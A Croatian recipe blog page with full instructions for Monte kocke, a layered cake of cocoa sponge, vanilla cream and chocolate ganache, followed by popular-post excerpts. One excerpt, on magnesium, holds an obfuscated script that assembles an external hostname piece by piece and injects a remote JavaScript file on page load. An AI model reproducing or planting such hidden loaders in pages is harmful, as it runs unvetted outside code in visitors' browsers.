MONTE KOCKE - KREMASTI KLASIK




Monte kocke - kremasti klasik



Ako volite kombinaciju laganog biskvita, nježne mliječne kreme i bogate čokoladne glazure, Monte kocke su desert kojem ćete se uvijek vraćati. Ovaj kolač savršeno spaja jednostavne sastojke i raskošan okus, a idealan je za obiteljska okupljanja ili kad vam treba nešto posebno slatko.




Monte kocke 


Sastojci:

Za bijelu kremu:

  • 120 g gustina
  • 100 g šećera
  • 2 vanilin šećera
  • 1 l mlijeka
  • 180 g margarina (sobne temperature)

Za biskvit:

  • 4 jaja
  • 100 g šećera
  • 60 ml ulja
  • 50 ml mlijeka
  • nekoliko kapi arome vanilije
  • 80 g brašna
  • 30 g kakaa
  • 1/2 praška za pecivo
  • oko 10 žlica mlijeka (za prelijevanje)

Za čokoladnu glazuru:

  • 300 ml vrhnja za šlag
  • 300 g čokolade za kuhanje



Priprema:

Najprije pripremite bijelu kremu. Pomiješajte gustin i šećer, pa dio mlijeka (oko 200 ml) umiješajte u tu smjesu dok ne nestanu grudice. Ostatak mlijeka zagrijte do vrenja, maknite s vatre i ulijte pripremljenu smjesu uz stalno miješanje. Kuhajte dok se krema ne zgusne, zatim je prebacite u zdjelu, prekrijte prozirnom folijom i ostavite da se potpuno ohladi. Za biskvit odvojite bjelanjke i žumanjke. Bjelanjke istucite u čvrst snijeg, postupno dodajući šećer. Zatim umiješajte žumanjke, pa dodajte mlijeko, ulje i aromu vanilije. Na kraju lagano umiješajte prosijano brašno, kakao i prašak za pecivo, miksajući kratko na najmanjoj brzini. Smjesu izlijte u kalup obložen papirom za pečenje i pecite na 180 °C oko 18 minuta. Pečeni biskvit prelijte s nekoliko žlica mlijeka i ostavite da se ohladi.

U međuvremenu izmiksajte margarin pa mu postupno dodajte ohlađenu kremu dok ne dobijete glatku i svilenkastu teksturu. Kremu ravnomjerno rasporedite po biskvitu. Za glazuru zagrijte vrhnje do vrenja, maknite s vatre i dodajte nasjeckanu čokoladu. Miješajte dok ne dobijete glatku smjesu, zatim je kratko ohladite i prelijte preko kreme. Kolač ostavite u hladnjaku najmanje 10 sati, idealno preko noći, kako bi se svi slojevi savršeno povezali.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više